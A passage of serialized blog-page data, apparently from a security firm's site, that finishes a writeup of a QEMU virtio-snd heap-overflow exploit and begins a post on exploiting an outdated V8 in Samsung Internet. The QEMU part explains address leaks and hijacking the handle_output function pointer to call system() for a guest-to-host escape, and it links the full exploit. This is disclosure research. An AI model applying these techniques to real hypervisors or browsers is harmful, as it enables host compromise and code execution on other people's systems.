sizeof",{"type":19,"tag":168,"props":128430,"children":128431},{"style":212},[128432],{"type":24,"value":128433},"(virtio_snd_pcm_xfer));\n",{"type":19,"tag":168,"props":128435,"children":128436},{"class":170,"line":1252},[128437,128441,128446,128450,128455],{"type":19,"tag":168,"props":128438,"children":128439},{"style":419},[128440],{"type":24,"value":672},{"type":19,"tag":168,"props":128442,"children":128443},{"style":212},[128444],{"type":24,"value":128445}," (msg_sz ",{"type":19,"tag":168,"props":128447,"children":128448},{"style":399},[128449],{"type":24,"value":13136},{"type":19,"tag":168,"props":128451,"children":128452},{"style":382},[128453],{"type":24,"value":128454}," sizeof",{"type":19,"tag":168,"props":128456,"children":128457},{"style":212},[128458],{"type":24,"value":128459},"(virtio_snd_pcm_xfer)) {\n",{"type":19,"tag":168,"props":128461,"children":128462},{"class":170,"line":1260},[128463,128467],{"type":19,"tag":168,"props":128464,"children":128465},{"style":419},[128466],{"type":24,"value":58034},{"type":19,"tag":168,"props":128468,"children":128469},{"style":212},[128470],{"type":24,"value":128471}," rx_err;\n",{"type":19,"tag":168,"props":128473,"children":128474},{"class":170,"line":1320},[128475],{"type":19,"tag":168,"props":128476,"children":128477},{"style":212},[128478],{"type":24,"value":752},{"type":19,"tag":168,"props":128480,"children":128481},{"class":170,"line":6486},[128482,128487,128491,128495,128499,128504,128508,128513],{"type":19,"tag":168,"props":128483,"children":128484},{"style":212},[128485],{"type":24,"value":128486}," stream_id ",{"type":19,"tag":168,"props":128488,"children":128489},{"style":399},[128490],{"type":24,"value":486},{"type":19,"tag":168,"props":128492,"children":128493},{"style":175},[128494],{"type":24,"value":123359},{"type":19,"tag":168,"props":128496,"children":128497},{"style":212},[128498],{"type":24,"value":500},{"type":19,"tag":168,"props":128500,"children":128501},{"style":393},[128502],{"type":24,"value":128503},"hdr",{"type":19,"tag":168,"props":128505,"children":128506},{"style":212},[128507],{"type":24,"value":948},{"type":19,"tag":168,"props":128509,"children":128510},{"style":393},[128511],{"type":24,"value":128512},"stream_id",{"type":19,"tag":168,"props":128514,"children":128515},{"style":212},[128516],{"type":24,"value":1249},{"type":19,"tag":168,"props":128518,"children":128519},{"class":170,"line":6504},[128520],{"type":19,"tag":168,"props":128521,"children":128522},{"emptyLinePlaceholder":14},[128523],{"type":24,"value":1093},{"type":19,"tag":168,"props":128525,"children":128526},{"class":170,"line":6549},[128527],{"type":19,"tag":168,"props":128528,"children":128529},{"style":212},[128530],{"type":24,"value":121526},{"type":19,"tag":168,"props":128532,"children":128533},{"class":170,"line":6655},[128534],{"type":19,"tag":168,"props":128535,"children":128536},{"emptyLinePlaceholder":14},[128537],{"type":24,"value":1093},{"type":19,"tag":168,"props":128539,"children":128540},{"class":170,"line":20965},[128541,128545,128549,128553,128557,128561,128565],{"type":19,"tag":168,"props":128542,"children":128543},{"style":175},[128544],{"type":24,"value":121541},{"type":19,"tag":168,"props":128546,"children":128547},{"style":212},[128548],{"type":24,"value":500},{"type":19,"tag":168,"props":128550,"children":128551},{"style":399},[128552],{"type":24,"value":505},{"type":19,"tag":168,"props":128554,"children":128555},{"style":393},[128556],{"type":24,"value":33736},{"type":19,"tag":168,"props":128558,"children":128559},{"style":212},[128560],{"type":24,"value":11203},{"type":19,"tag":168,"props":128562,"children":128563},{"style":393},[128564],{"type":24,"value":121562},{"type":19,"tag":168,"props":128566,"children":128567},{"style":212},[128568],{"type":24,"value":12250},{"type":19,"tag":168,"props":128570,"children":128571},{"class":170,"line":21000},[128572,128576,128580,128584,128588,128592,128596,128600,128604,128608,128612,128616,128620],{"type":19,"tag":168,"props":128573,"children":128574},{"style":212},[128575],{"type":24,"value":121574},{"type":19,"tag":168,"props":128577,"children":128578},{"style":399},[128579],{"type":24,"value":486},{"type":19,"tag":168,"props":128581,"children":128582},{"style":175},[128583],{"type":24,"value":121583},{"type":19,"tag":168,"props":128585,"children":128586},{"style":212},[128587],{"type":24,"value":500},{"type":19,"tag":168,"props":128589,"children":128590},{"style":393},[128591],{"type":24,"value":49547},{"type":19,"tag":168,"props":128593,"children":128594},{"style":212},[128595],{"type":24,"value":11203},{"type":19,"tag":168,"props":128597,"children":128598},{"style":393},[128599],{"type":24,"value":121600},{"type":19,"tag":168,"props":128601,"children":128602},{"style":212},[128603],{"type":24,"value":471},{"type":19,"tag":168,"props":128605,"children":128606},{"style":393},[128607],{"type":24,"value":49547},{"type":19,"tag":168,"props":128609,"children":128610},{"style":212},[128611],{"type":24,"value":11203},{"type":19,"tag":168,"props":128613,"children":128614},{"style":393},[128615],{"type":24,"value":121617},{"type":19,"tag":168,"props":128617,"children":128618},{"style":212},[128619],{"type":24,"value":481},{"type":19,"tag":168,"props":128621,"children":128622},{"style":399},[128623],{"type":24,"value":48344},{"type":19,"tag":168,"props":128625,"children":128626},{"class":170,"line":21008},[128627,128631],{"type":19,"tag":168,"props":128628,"children":128629},{"style":382},[128630],{"type":24,"value":121633},{"type":19,"tag":168,"props":128632,"children":128633},{"style":212},[128634],{"type":24,"value":128635},"(virtio_snd_pcm_status);\n",{"type":19,"tag":168,"props":128637,"children":128638},{"class":170,"line":21016},[128639,128643,128647,128651,128655,128659,128663,128667,128672],{"type":19,"tag":168,"props":128640,"children":128641},{"style":212},[128642],{"type":24,"value":121651},{"type":19,"tag":168,"props":128644,"children":128645},{"style":399},[128646],{"type":24,"value":486},{"type":19,"tag":168,"props":128648,"children":128649},{"style":175},[128650],{"type":24,"value":121660},{"type":19,"tag":168,"props":128652,"children":128653},{"style":212},[128654],{"type":24,"value":500},{"type":19,"tag":168,"props":128656,"children":128657},{"style":382},[128658],{"type":24,"value":52811},{"type":19,"tag":168,"props":128660,"children":128661},{"style":212},[128662],{"type":24,"value":121673},{"type":19,"tag":168,"props":128664,"children":128665},{"style":399},[128666],{"type":24,"value":1811},{"type":19,"tag":168,"props":128668,"children":128669},{"style":212},[128670],{"type":24,"value":128671}," size);",{"type":19,"tag":168,"props":128673,"children":128674},{"style":373},[128675],{"type":24,"value":128676}," // [1]\n",{"type":19,"tag":168,"props":128678,"children":128679},{"class":170,"line":21025},[128680,128684,128688,128692,128696],{"type":19,"tag":168,"props":128681,"children":128682},{"style":393},[128683],{"type":24,"value":121690},{"type":19,"tag":168,"props":128685,"children":128686},{"style":212},[128687],{"type":24,"value":11203},{"type":19,"tag":168,"props":128689,"children":128690},{"style":393},[128691],{"type":24,"value":49547},{"type":19,"tag":168,"props":128693,"children":128694},{"style":399},[128695],{"type":24,"value":402},{"type":19,"tag":168,"props":128697,"children":128698},{"style":212},[128699],{"type":24,"value":121707},{"type":19,"tag":168,"props":128701,"children":128702},{"class":170,"line":21067},[128703,128707,128711,128715,128719,128724],{"type":19,"tag":168,"props":128704,"children":128705},{"style":393},[128706],{"type":24,"value":121690},{"type":19,"tag":168,"props":128708,"children":128709},{"style":212},[128710],{"type":24,"value":11203},{"type":19,"tag":168,"props":128712,"children":128713},{"style":393},[128714],{"type":24,"value":121359},{"type":19,"tag":168,"props":128716,"children":128717},{"style":399},[128718],{"type":24,"value":402},{"type":19,"tag":168,"props":128720,"children":128721},{"style":212},[128722],{"type":24,"value":128723}," vq;",{"type":19,"tag":168,"props":128725,"children":128726},{"style":373},[128727],{"type":24,"value":128728}," // [2]\n",{"type":19,"tag":168,"props":128730,"children":128731},{"class":170,"line":21100},[128732,128736,128740,128744,128748,128752],{"type":19,"tag":168,"props":128733,"children":128734},{"style":393},[128735],{"type":24,"value":121690},{"type":19,"tag":168,"props":128737,"children":128738},{"style":212},[128739],{"type":24,"value":11203},{"type":19,"tag":168,"props":128741,"children":128742},{"style":393},[128743],{"type":24,"value":121747},{"type":19,"tag":168,"props":128745,"children":128746},{"style":399},[128747],{"type":24,"value":402},{"type":19,"tag":168,"props":128749,"children":128750},{"style":192},[128751],{"type":24,"value":437},{"type":19,"tag":168,"props":128753,"children":128754},{"style":212},[128755],{"type":24,"value":412},{"type":19,"tag":168,"props":128757,"children":128758},{"class":170,"line":21108},[128759,128763,128767,128771,128775,128779],{"type":19,"tag":168,"props":128760,"children":128761},{"style":393},[128762],{"type":24,"value":121690},{"type":19,"tag":168,"props":128764,"children":128765},{"style":212},[128766],{"type":24,"value":11203},{"type":19,"tag":168,"props":128768,"children":128769},{"style":393},[128770],{"type":24,"value":11347},{"type":19,"tag":168,"props":128772,"children":128773},{"style":399},[128774],{"type":24,"value":402},{"type":19,"tag":168,"props":128776,"children":128777},{"style":192},[128778],{"type":24,"value":437},{"type":19,"tag":168,"props":128780,"children":128781},{"style":212},[128782],{"type":24,"value":412},{"type":19,"tag":168,"props":128784,"children":128785},{"class":170,"line":21116},[128786,128790,128794,128798,128802,128806,128810],{"type":19,"tag":168,"props":128787,"children":128788},{"style":175},[128789],{"type":24,"value":121794},{"type":19,"tag":168,"props":128791,"children":128792},{"style":212},[128793],{"type":24,"value":500},{"type":19,"tag":168,"props":128795,"children":128796},{"style":399},[128797],{"type":24,"value":505},{"type":19,"tag":168,"props":128799,"children":128800},{"style":393},[128801],{"type":24,"value":33736},{"type":19,"tag":168,"props":128803,"children":128804},{"style":212},[128805],{"type":24,"value":11203},{"type":19,"tag":168,"props":128807,"children":128808},{"style":393},[128809],{"type":24,"value":121815},{"type":19,"tag":168,"props":128811,"children":128812},{"style":212},[128813],{"type":24,"value":128814},", buffer, entry);\n",{"type":19,"tag":168,"props":128816,"children":128817},{"class":170,"line":21125},[128818],{"type":19,"tag":168,"props":128819,"children":128820},{"style":212},[128821],{"type":24,"value":752},{"type":19,"tag":20,"props":128823,"children":128824},{},[128825,128826,128831,128833,128838,128840,128845,128847,128853],{"type":24,"value":121869},{"type":19,"tag":27,"props":128827,"children":128829},{"className":128828},[],[128830],{"type":24,"value":121875},{"type":24,"value":128832},", QEMU allocates a ",{"type":19,"tag":27,"props":128834,"children":128836},{"className":128835},[],[128837],{"type":24,"value":122012},{"type":24,"value":128839}," whose size depends on the guest-provided iovec, and at ",{"type":19,"tag":27,"props":128841,"children":128843},{"className":128842},[],[128844],{"type":24,"value":121910},{"type":24,"value":128846}," it stores the ",{"type":19,"tag":27,"props":128848,"children":128850},{"className":128849},[],[128851],{"type":24,"value":128852},"VirtQueue *vq",{"type":24,"value":128854}," pointer into the buffer.",{"type":19,"tag":20,"props":128856,"children":128857},{},[128858,128859,128865],{"type":24,"value":61702},{"type":19,"tag":27,"props":128860,"children":128862},{"className":128861},[],[128863],{"type":24,"value":128864},"VirtQueue",{"type":24,"value":128866}," structure contains some useful fields:",{"type":19,"tag":158,"props":128868,"children":128870},{"code":128869,"language":543,"meta":7,"className":13963,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[128871],{"type":19,"tag":27,"props":128872,"children":128873},{"__ignoreMap":7},[128874,128886,128893,128900,128907,128915,128932,128939,128946],{"type":19,"tag":168,"props":128875,"children":128876},{"class":170,"line":171},[128877,128881],{"type":19,"tag":168,"props":128878,"children":128879},{"style":382},[128880],{"type":24,"value":6842},{"type":19,"tag":168,"props":128882,"children":128883},{"style":212},[128884],{"type":24,"value":128885}," VirtQueue\n",{"type":19,"tag":168,"props":128887,"children":128888},{"class":170,"line":198},[128889],{"type":19,"tag":168,"props":128890,"children":128891},{"style":212},[128892],{"type":24,"value":8324},{"type":19,"tag":168,"props":128894,"children":128895},{"class":170,"line":415},[128896],{"type":19,"tag":168,"props":128897,"children":128898},{"style":212},[128899],{"type":24,"value":102288},{"type":19,"tag":168,"props":128901,"children":128902},{"class":170,"line":450},[128903],{"type":19,"tag":168,"props":128904,"children":128905},{"emptyLinePlaceholder":14},[128906],{"type":24,"value":1093},{"type":19,"tag":168,"props":128908,"children":128909},{"class":170,"line":560},[128910],{"type":19,"tag":168,"props":128911,"children":128912},{"style":212},[128913],{"type":24,"value":128914}," VirtIOHandleOutput handle_output;\n",{"type":19,"tag":168,"props":128916,"children":128917},{"class":170,"line":666},[128918,128923,128927],{"type":19,"tag":168,"props":128919,"children":128920},{"style":212},[128921],{"type":24,"value":128922}," VirtIODevice ",{"type":19,"tag":168,"props":128924,"children":128925},{"style":399},[128926],{"type":24,"value":2002},{"type":19,"tag":168,"props":128928,"children":128929},{"style":212},[128930],{"type":24,"value":128931},"vdev;\n",{"type":19,"tag":168,"props":128933,"children":128934},{"class":170,"line":694},[128935],{"type":19,"tag":168,"props":128936,"children":128937},{"emptyLinePlaceholder":14},[128938],{"type":24,"value":1093},{"type":19,"tag":168,"props":128940,"children":128941},{"class":170,"line":707},[128942],{"type":19,"tag":168,"props":128943,"children":128944},{"style":212},[128945],{"type":24,"value":102288},{"type":19,"tag":168,"props":128947,"children":128948},{"class":170,"line":725},[128949],{"type":19,"tag":168,"props":128950,"children":128951},{"style":212},[128952],{"type":24,"value":14026},{"type":19,"tag":20,"props":128954,"children":128955},{},[128956,128957,128963,128965,128971],{"type":24,"value":14062},{"type":19,"tag":27,"props":128958,"children":128960},{"className":128959},[],[128961],{"type":24,"value":128962},".handle_output",{"type":24,"value":128964}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":19,"tag":27,"props":128966,"children":128968},{"className":128967},[],[128969],{"type":24,"value":128970},".vdev",{"type":24,"value":128972}," is the pointer passed to it as the first argument:",{"type":19,"tag":158,"props":128974,"children":128976},{"code":128975,"language":543,"meta":7,"className":13963,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[128977],{"type":19,"tag":27,"props":128978,"children":128979},{"__ignoreMap":7},[128980,129013,129020,129075,129112,129119,129126,129133,129154,129161,129168,129175],{"type":19,"tag":168,"props":128981,"children":128982},{"class":170,"line":171},[128983,128987,128991,128996,129001,129005,129009],{"type":19,"tag":168,"props":128984,"children":128985},{"style":382},[128986],{"type":24,"value":48527},{"type":19,"tag":168,"props":128988,"children":128989},{"style":382},[128990],{"type":24,"value":48532},{"type":19,"tag":168,"props":128992,"children":128993},{"style":175},[128994],{"type":24,"value":128995}," virtio_queue_notify_vq",{"type":19,"tag":168,"props":128997,"children":128998},{"style":212},[128999],{"type":24,"value":129000},"(VirtQueue ",{"type":19,"tag":168,"props":129002,"children":129003},{"style":399},[129004],{"type":24,"value":2002},{"type":19,"tag":168,"props":129006,"children":129007},{"style":393},[129008],{"type":24,"value":121359},{"type":19,"tag":168,"props":129010,"children":129011},{"style":212},[129012],{"type":24,"value":557},{"type":19,"tag":168,"props":129014,"children":129015},{"class":170,"line":198},[129016],{"type":19,"tag":168,"props":129017,"children":129018},{"style":212},[129019],{"type":24,"value":8324},{"type":19,"tag":168,"props":129021,"children":129022},{"class":170,"line":415},[129023,129027,129031,129035,129039,129044,129048,129053,129057,129062,129066,129071],{"type":19,"tag":168,"props":129024,"children":129025},{"style":419},[129026],{"type":24,"value":9724},{"type":19,"tag":168,"props":129028,"children":129029},{"style":212},[129030],{"type":24,"value":461},{"type":19,"tag":168,"props":129032,"children":129033},{"style":393},[129034],{"type":24,"value":121359},{"type":19,"tag":168,"props":129036,"children":129037},{"style":212},[129038],{"type":24,"value":11203},{"type":19,"tag":168,"props":129040,"children":129041},{"style":393},[129042],{"type":24,"value":129043},"vring",{"type":19,"tag":168,"props":129045,"children":129046},{"style":212},[129047],{"type":24,"value":948},{"type":19,"tag":168,"props":129049,"children":129050},{"style":393},[129051],{"type":24,"value":129052},"desc",{"type":19,"tag":168,"props":129054,"children":129055},{"style":399},[129056],{"type":24,"value":11631},{"type":19,"tag":168,"props":129058,"children":129059},{"style":393},[129060],{"type":24,"value":129061}," vq",{"type":19,"tag":168,"props":129063,"children":129064},{"style":212},[129065],{"type":24,"value":11203},{"type":19,"tag":168,"props":129067,"children":129068},{"style":393},[129069],{"type":24,"value":129070},"handle_output",{"type":19,"tag":168,"props":129072,"children":129073},{"style":212},[129074],{"type":24,"value":12250},{"type":19,"tag":168,"props":129076,"children":129077},{"class":170,"line":450},[129078,129083,129087,129092,129096,129100,129104,129108],{"type":19,"tag":168,"props":129079,"children":129080},{"style":212},[129081],{"type":24,"value":129082}," VirtIODevice ",{"type":19,"tag":168,"props":129084,"children":129085},{"style":399},[129086],{"type":24,"value":2002},{"type":19,"tag":168,"props":129088,"children":129089},{"style":212},[129090],{"type":24,"value":129091},"vdev ",{"type":19,"tag":168,"props":129093,"children":129094},{"style":399},[129095],{"type":24,"value":486},{"type":19,"tag":168,"props":129097,"children":129098},{"style":393},[129099],{"type":24,"value":129061},{"type":19,"tag":168,"props":129101,"children":129102},{"style":212},[129103],{"type":24,"value":11203},{"type":19,"tag":168,"props":129105,"children":129106},{"style":393},[129107],{"type":24,"value":121345},{"type":19,"tag":168,"props":129109,"children":129110},{"style":212},[129111],{"type":24,"value":412},{"type":19,"tag":168,"props":129113,"children":129114},{"class":170,"line":560},[129115],{"type":19,"tag":168,"props":129116,"children":129117},{"emptyLinePlaceholder":14},[129118],{"type":24,"value":1093},{"type":19,"tag":168,"props":129120,"children":129121},{"class":170,"line":666},[129122],{"type":19,"tag":168,"props":129123,"children":129124},{"style":212},[129125],{"type":24,"value":121526},{"type":19,"tag":168,"props":129127,"children":129128},{"class":170,"line":694},[129129],{"type":19,"tag":168,"props":129130,"children":129131},{"emptyLinePlaceholder":14},[129132],{"type":24,"value":1093},{"type":19,"tag":168,"props":129134,"children":129135},{"class":170,"line":707},[129136,129141,129145,129149],{"type":19,"tag":168,"props":129137,"children":129138},{"style":393},[129139],{"type":24,"value":129140}," vq",{"type":19,"tag":168,"props":129142,"children":129143},{"style":212},[129144],{"type":24,"value":11203},{"type":19,"tag":168,"props":129146,"children":129147},{"style":175},[129148],{"type":24,"value":129070},{"type":19,"tag":168,"props":129150,"children":129151},{"style":212},[129152],{"type":24,"value":129153},"(vdev, vq);\n",{"type":19,"tag":168,"props":129155,"children":129156},{"class":170,"line":725},[129157],{"type":19,"tag":168,"props":129158,"children":129159},{"emptyLinePlaceholder":14},[129160],{"type":24,"value":1093},{"type":19,"tag":168,"props":129162,"children":129163},{"class":170,"line":746},[129164],{"type":19,"tag":168,"props":129165,"children":129166},{"style":212},[129167],{"type":24,"value":121526},{"type":19,"tag":168,"props":129169,"children":129170},{"class":170,"line":755},[129171],{"type":19,"tag":168,"props":129172,"children":129173},{"style":212},[129174],{"type":24,"value":761},{"type":19,"tag":168,"props":129176,"children":129177},{"class":170,"line":1008},[129178],{"type":19,"tag":168,"props":129179,"children":129180},{"style":212},[129181],{"type":24,"value":1326},{"type":19,"tag":20,"props":129183,"children":129184},{},[129185,129187,129192,129194,129199,129201,129207,129209,129214,129215,129220,129222,129227],{"type":24,"value":129186},"This means that if we free the known-address chunk and replace it with a ",{"type":19,"tag":27,"props":129188,"children":129190},{"className":129189},[],[129191],{"type":24,"value":122012},{"type":24,"value":129193}," - which is straightforward, since we control the buffer allocation size through the ",{"type":19,"tag":27,"props":129195,"children":129197},{"className":129196},[],[129198],{"type":24,"value":121600},{"type":24,"value":129200}," iovec - we can use the arbitrary read primitive to read its ",{"type":19,"tag":27,"props":129202,"children":129204},{"className":129203},[],[129205],{"type":24,"value":129206},".vq",{"type":24,"value":129208}," pointer, then follow that pointer to leak ",{"type":19,"tag":27,"props":129210,"children":129212},{"className":129211},[],[129213],{"type":24,"value":128962},{"type":24,"value":13501},{"type":19,"tag":27,"props":129216,"children":129218},{"className":129217},[],[129219],{"type":24,"value":128864},{"type":24,"value":129221}," structure. In our case, that field points to ",{"type":19,"tag":27,"props":129223,"children":129225},{"className":129224},[],[129226],{"type":24,"value":121252},{"type":24,"value":129228},", which gives us QEMU's base address.",{"type":19,"tag":20,"props":129230,"children":129231},{},[129232,129234,129240],{"type":24,"value":129233},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":19,"tag":27,"props":129235,"children":129237},{"className":129236},[],[129238],{"type":24,"value":129239},"system",{"type":24,"value":948},{"type":19,"tag":7050,"props":129242,"children":129244},{"id":129243},"rip-control",[129245],{"type":24,"value":129246},"RIP Control",{"type":19,"tag":20,"props":129248,"children":129249},{},[129250,129252,129257,129259,129265],{"type":24,"value":129251},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":19,"tag":27,"props":129253,"children":129255},{"className":129254},[],[129256],{"type":24,"value":129239},{"type":24,"value":129258},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":19,"tag":27,"props":129260,"children":129262},{"className":129261},[],[129263],{"type":24,"value":129264},"VirtQueue.handle_output",{"type":24,"value":948},{"type":19,"tag":20,"props":129267,"children":129268},{},[129269,129271,129276,129278,129283,129285,129290],{"type":24,"value":129270},"We overwrite ",{"type":19,"tag":27,"props":129272,"children":129274},{"className":129273},[],[129275],{"type":24,"value":128962},{"type":24,"value":129277}," with the address of ",{"type":19,"tag":27,"props":129279,"children":129281},{"className":129280},[],[129282],{"type":24,"value":129239},{"type":24,"value":129284}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":19,"tag":27,"props":129286,"children":129288},{"className":129287},[],[129289],{"type":24,"value":128970},{"type":24,"value":129291}," with the address of that command string, so it is passed as the first argument.",{"type":19,"tag":20,"props":129293,"children":129294},{},[129295,129297,129303,129305,129311,129313,129319],{"type":24,"value":129296},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":19,"tag":27,"props":129298,"children":129300},{"className":129299},[],[129301],{"type":24,"value":129302},"virtio_queue_notify_vq",{"type":24,"value":129304},", which calls ",{"type":19,"tag":27,"props":129306,"children":129308},{"className":129307},[],[129309],{"type":24,"value":129310},"vq->handle_output(vq->vdev)",{"type":24,"value":129312}," - or, after our overwrites, ",{"type":19,"tag":27,"props":129314,"children":129316},{"className":129315},[],[129317],{"type":24,"value":129318},"system(command)",{"type":24,"value":948},{"type":19,"tag":20,"props":129321,"children":129322},{},[129323,129325,129331,129333],{"type":24,"value":129324},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":19,"tag":27,"props":129326,"children":129328},{"className":129327},[],[129329],{"type":24,"value":129330},"gnome-calculator",{"type":24,"value":129332}," on the host system:\n",{"type":19,"tag":28440,"props":129334,"children":129335},{},[],{"type":19,"tag":129337,"props":129338,"children":129347},"tweet-card",{"author-name":129339,"date":129340,"duration":129341,"handle":129342,"media-mime-type":129343,"media-src":129344,"media-type":129345,"tweet-url":129346},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[129348,129353,129358],{"type":19,"tag":20,"props":129349,"children":129350},{},[129351],{"type":24,"value":129352},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":19,"tag":20,"props":129354,"children":129355},{},[129356],{"type":24,"value":129357},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":19,"tag":20,"props":129359,"children":129360},{},[129361],{"type":24,"value":129362},"Writeup coming next week.",{"type":19,"tag":28440,"props":129364,"children":129365},{},[],{"type":19,"tag":20,"props":129367,"children":129368},{},[129369,129371,129377,129379,129385],{"type":24,"value":129370},"The final exploit, targeting QEMU commit ",{"type":19,"tag":27,"props":129372,"children":129374},{"className":129373},[],[129375],{"type":24,"value":129376},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":24,"value":129378}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":19,"tag":269,"props":129380,"children":129383},{"href":129381,"rel":129382},"https://github.com/otter-sec/qemu-escape",[273],[129384],{"type":24,"value":45066},{"type":24,"value":948},{"type":19,"tag":20,"props":129387,"children":129388},{},[129389,129391,129398],{"type":24,"value":129390},"Special thanks to ",{"type":19,"tag":269,"props":129392,"children":129395},{"href":129393,"rel":129394},"https://www.willsroot.io/",[273],[129396],{"type":24,"value":129397},"William Liu",{"type":24,"value":129399}," for proofreading this post and helping us polish it before publication.",{"type":19,"tag":36,"props":129401,"children":129402},{"id":26402},[129403],{"type":24,"value":16400},{"type":19,"tag":20,"props":129405,"children":129406},{},[129407],{"type":24,"value":129408},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":19,"tag":20,"props":129410,"children":129411},{},[129412],{"type":24,"value":129413},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":19,"tag":232,"props":129415,"children":129416},{},[129417],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":129419},[129420,129423,129426,129435],{"id":121148,"depth":198,"text":121161,"children":129421},[129422],{"id":121169,"depth":415,"text":121172},{"id":121193,"depth":198,"text":121196,"children":129424},[129425],{"id":121207,"depth":415,"text":121207},{"id":97595,"depth":198,"text":97598,"children":129427},[129428,129429,129430,129431,129432,129433,129434],{"id":123799,"depth":415,"text":123802},{"id":125326,"depth":415,"text":125329},{"id":126120,"depth":415,"text":126123},{"id":126525,"depth":415,"text":126528},{"id":126741,"depth":415,"text":126744},{"id":126947,"depth":415,"text":126950},{"id":129243,"depth":415,"text":129246},{"id":26402,"depth":198,"text":16400},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":129440,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":129441,"description":129442,"date":129443,"author":129444,"image":129447,"isFeatured":14,"onBlogPage":14,"tags":129449,"body":129452,"_type":242,"_id":139360,"_source":244,"_file":139361,"_stem":139362,"_extension":247},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[121144,129445,129446],"jamie","william",{"src":129448,"width":94756,"height":11069},"/posts/mobile-renderer-rce/title.png",[129450,129451],"RCE","mobile",{"type":16,"children":129453,"toc":139340},[129454,129458,129463,129477,129483,129497,129518,129526,129539,129547,129560,129566,129579,129593,129599,129613,129716,129721,129729,129734,129739,129760,129838,129846,129865,129878,129884,129890,129904,130020,130025,130030,130038,130043,130051,130079,130108,130120,130296,130301,130309,130328,130341,130347,130367,130381,130386,130391,130419,130455,130524,130530,130552,130557,130565,130578,130583,130591,130596,130635,130641,130654,130659,130837,130847,130855,130875,130899,130912,130918,130923,131565,131570,131578,131620,133609,133614,133622,133628,133661,133679,133849,133907,133932,134026,134031,134822,134827,134835,134846,136890,136895,136903,136909,136931,136945,136958,136970,137000,137005,137446,137474,137581,137598,137755,137760,137772,138068,138094,138117,138249,138261,138266,138418,138454,138467,138472,138594,138635,138712,138717,139291,139297,139309,139322,139326,139331,139336],{"type":19,"tag":36,"props":129455,"children":129456},{"id":26485},[129457],{"type":24,"value":26488},{"type":19,"tag":20,"props":129459,"children":129460},{},[129461],{"type":24,"value":129462},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":19,"tag":20,"props":129464,"children":129465},{},[129466,129468,129475],{"type":24,"value":129467},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":19,"tag":269,"props":129469,"children":129472},{"href":129470,"rel":129471},"https://cor.team",[273],[129473],{"type":24,"value":129474},"Crusaders of Rust",{"type":24,"value":129476}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":19,"tag":7050,"props":129478,"children":129480},{"id":129479},"finding-the-v8-version",[129481],{"type":24,"value":129482},"Finding the V8 Version",{"type":19,"tag":20,"props":129484,"children":129485},{},[129486,129488,129495],{"type":24,"value":129487},"We started by pulling Samsung Internet's APK from the device over ",{"type":19,"tag":269,"props":129489,"children":129492},{"href":129490,"rel":129491},"https://developer.android.com/tools/adb",[273],[129493],{"type":24,"value":129494},"adb",{"type":24,"value":129496}," and inspecting the libraries it shipped with.",{"type":19,"tag":20,"props":129498,"children":129499},{},[129500,129502,129508,129510,129516],{"type":24,"value":129501},"After extracting the APK, we searched the ",{"type":19,"tag":27,"props":129503,"children":129505},{"className":129504},[],[129506],{"type":24,"value":129507},"lib/",{"type":24,"value":129509}," directory for ",{"type":19,"tag":27,"props":129511,"children":129513},{"className":129512},[],[129514],{"type":24,"value":129515},"v8::*",{"type":24,"value":129517}," symbols:",{"type":19,"tag":158,"props":129519,"children":129521},{"code":129520},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[129522],{"type":19,"tag":27,"props":129523,"children":129524},{"__ignoreMap":7},[129525],{"type":24,"value":129520},{"type":19,"tag":20,"props":129527,"children":129528},{},[129529,129531,129537],{"type":24,"value":129530},"Only one file matched our search: ",{"type":19,"tag":27,"props":129532,"children":129534},{"className":129533},[],[129535],{"type":24,"value":129536},"libterrace.so",{"type":24,"value":129538},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 